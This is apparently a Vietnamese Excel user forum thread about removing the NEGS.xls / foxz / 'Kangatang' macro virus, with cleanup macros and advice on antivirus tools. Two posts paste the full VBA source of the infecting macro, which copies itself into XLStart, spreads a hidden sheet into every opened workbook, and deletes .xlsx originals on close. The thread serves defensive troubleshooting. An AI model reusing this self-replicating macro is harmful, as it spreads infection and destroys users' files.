Virus NEGS.xls và macro foxz

[trungce]

Chào mọi người,

File excel của mình bị nhiễm virus NEGS và mã code foxz này gây lỗi data. Mình đã quét bằng BKAV tool và KIS nhưng không triệt để. Có cách nào loại bỏ code foxz gây lỗi này ko?

Xin cảm ơn!

 

[giaiphap]

Hi Mọi Người !
Em đang bị dính 1 con Marco code no như thế nay

Sub Autpen()
Application.EnableCancelKey = xlDisabled


'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
Application.ScreenUpdating = False
Windows(1).Visible = False
ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
Windows(1).Visible = True
End If

Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub Auto_Close()
On Error Resume Next
Application.DisplayAlerts = False
If Right(ThisWorkbook.Name, 4) <> "xlsx" Or Application.Version <= 11 Then Exit Sub
ThisWorkbook.SaveAs Filename:=ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xlsx", ".xls"), _
FileFormat:=xlExcel8, Password:="", WriteResPassword:="", _
ReadOnlyRecommended:=False, CreateBackup:=False
Kill ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xls", ".xlsx")
End Sub

Sub allocated()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
Application.ScreenUpdating = False
currentsh = ActiveSheet.Name
ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
ActiveWorkbook.Sheets(currentsh).Select
Application.ScreenUpdating = True


End If
End Sub

Mong a/c hướng dẫn remove dùm em . Tks a/c

Thử cách này xem:
Vào VBE cho chạy đoạn code sau:

Sub Test()
    MsgBox Application.Path & "\XLSTART\"
End Sub

Nhìn xem đường dẫn trong đó là gì và Mở Explorer lên và tìm đến đường dẫn nhìn thấy trong Msgbox.
Đóng Excel lại và xóa file mypersonel.xls trong thư mục XLSTART. Khởi động lại Excel và xem thử còn bị không?

 

[huysolid]

Dạ vẫn ko được, em up file mong mọi người giúp đỡ e.

 

[giaiphap]

Dạ vẫn ko được, em up file mong mọi người giúp đỡ e.

Tôi nhầm phải vầy mới đúng.

Sub Test()
    MsgBox Application.StartupPath
End Sub

 

[huysolid]

Dạ em xin cám ơn. File mở ko bị nữa . Xin Cảm Ơn.

 

[PhanTuHuong]

Hi Mọi Người !
Em đang bị dính 1 con Marco code no như thế nay

Sub Autpen()
Application.EnableCancelKey = xlDisabled


'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
Application.ScreenUpdating = False
Windows(1).Visible = False
ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
Windows(1).Visible = True
End If

Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub Auto_Close()
On Error Resume Next
Application.DisplayAlerts = False
If Right(ThisWorkbook.Name, 4) <> "xlsx" Or Application.Version <= 11 Then Exit Sub
ThisWorkbook.SaveAs Filename:=ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xlsx", ".xls"), _
FileFormat:=xlExcel8, Password:="", WriteResPassword:="", _
ReadOnlyRecommended:=False, CreateBackup:=False
Kill ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xls", ".xlsx")
End Sub

Sub allocated()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
Application.ScreenUpdating = False
currentsh = ActiveSheet.Name
ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
ActiveWorkbook.Sheets(currentsh).Select
Application.ScreenUpdating = True


End If
End Sub

Mong a/c hướng dẫn remove dùm em . Tks a/c

Con virus lởm này giờ đã biến hình, nó kiểm soát cả đuôi xlsx nữa

 

[huysolid]

Làm sao để diệt nó dc a

 

[mydecember]

mình cũng bị mắc con virus mypersonnel.xls (kangantang) này. Dù đã xóa nó đi như các hướng dẫn bên trên nhưng nó vẫn quay lại sau 1 chút thời gian.
Và vấn đề nếu quét virus bằng KIS thì sẽ khiến cho file excel bị mất dữ liệu, đó là điều mình không mong muốn.
Rất mong mọi người trên diễn đàn này nếu biết có thể giúp đỡ hướng dẫn diệt con virus này và có thể giữ được giữ liệu.

 

[TuPham86]

Chào mọi người,

File excel của mình bị nhiễm virus NEGS và mã code foxz này gây lỗi data. Mình đã quét bằng BKAV tool và KIS nhưng không triệt để. Có cách nào loại bỏ code foxz gây lỗi này ko?

Xin cảm ơn!

Sub KillIt()
Application.DisplayAlerts = False
With Workbooks("NEGS.XLS")
.ChangeFileAccess xlReadOnly
Kill .FullName
.Close False
End With
Application.DisplayAlerts = True
End Sub

hôm trước mình chạy code phát được luôn này. Thử xem thế nào

 

[xuongrongdat]

Thử chạy code này rồi khởi động lại Excel xem thử hết không bạn.

Sub KillFoxz()
Dim WB As Workbook
On Error Resume Next
Application.DisplayAlerts = False
Application.EnableEvents = False
For Each WB In Workbooks
    WB.Sheets("foxz").Delete
Next
With Workbooks("NEGS.XLS")
    .ChangeFileAccess xlReadOnly
    Kill .FullName
    .Close False
End With
Application.EnableEvents = True
Application.DisplayAlerts = True
End Sub

Cảm ơn anh. Em dùng code của anh đã diệt được nó rồi. Nó còn đẻ lại thêm mấy cái sheet ẩn 1 số file excel mà lỡ quan hệ với nó. Em mở Alt F11 mới thấy, rồi lại phải xóa tay mấy sheet đó. Nói chung đã diệt được nó.

Cảm ơn anh @Phuocam đã dẫn link bài này luôn nhé.

 

[vova2209]

Chào mọi người,

File excel của mình bị nhiễm virus NEGS và mã code foxz này gây lỗi data. Mình đã quét bằng BKAV tool và KIS nhưng không triệt để. Có cách nào loại bỏ code foxz gây lỗi này ko?

Xin cảm ơn!

Bạn mở phần mềm này của win lên quét là hết, mình mới sài hôm qua xong quét hết sạch tận gốc luôn file NEGS và foxz nó lưu mấy chỗ liền



Sài thêm phần mềm này của anh Nguyễn Duy Tuân, những file đính kèm virus sẽ loại bỏ hết khi bật file tránh lây lan

CÔNG TY CỔ PHẦN BLUESOFTS

bluesofts.net

 

[Hoàng Tuấn 868]

quét hết sạch tận gốc luôn

Tùy trường hợp thôi bạn, không phải trường hợp nào cũng hết được.

 

[vova2209]

Tùy trường hợp thôi bạn, không phải trường hợp nào cũng hết được.

update cái diệt virus ở win nó cập nhật rồi bạn, xóa được gốc file nó lưu ở phần khởi động cùng excel. còn file đính kèm thì dùng phần mềm của anh Nguyễn Duy Tuân là hết đấy bạn. mình sử lý cho nhiều máy rồi.

 

[Nimda]

update cái diệt virus ở win nó cập nhật rồi bạn, xóa được gốc file nó lưu ở phần khởi động cùng excel. còn file đính kèm thì dùng phần mềm của anh Nguyễn Duy Tuân là hết đấy bạn. mình sử lý cho nhiều máy rồi.

gửi cho mình cái phần mềm của NDT cái bạn

 

[Maika8008]

Công nhận để trợ giúp thì phải tải mấy cái file kèm trên GPE, cũng khá là rủi ro.

 

[vova2209]

gửi cho mình cái phần mềm của NDT cái bạn

phần mềm đây bạn nhes

 

[xuongrongdat]

phần mềm đây bạn nhes

Hôm nay mình lại dính con này nữa, bực mình ghê! Đang cho chạy cái Windows Defender của Win 7. Không biết lát có diệt được không nữa.

 

[vova2209]

Hôm nay mình lại dính con này nữa, bực mình ghê! Đang cho chạy cái Windows Defender của Win 7. Không biết lát có diệt được không nữa.

hihi! dùng cái diệt macro trên là là được đấy bạn, trước tiên ấn Ctrl+f3 xóa hết name lỗi trước

 

[xuongrongdat]

hihi! dùng cái diệt macro trên là là được đấy bạn, trước tiên ấn Ctrl+f3 xóa hết name lỗi trước

File đính kèm của NDT bạn up đó hả?

Cái WD win 7 của mình nó vô dụng ghê, hihi. Chạy full xong mà vào Excel vẫn còn tụi Neg với foxz. :|

 

[vova2209]

File đính kèm của NDT bạn up đó hả?

Cái WD win 7 của mình nó vô dụng ghê, hihi. Chạy full xong mà vào Excel vẫn còn tụi Neg với foxz. :|

View attachment 274395

đúng rồi bạn! tải về cài đặt lên là diệt được bạn ạ

 

[xuongrongdat]

đúng rồi bạn! tải về cài đặt lên là diệt được bạn ạ

Diệt được macro NEG nhưng không xóa được các sheet ẩn fox đó bạn.
Mình phải vào xóa tay bằng 1 đoạn code VBA của anh Quang Hải mới được, híc.

Tức thiệt.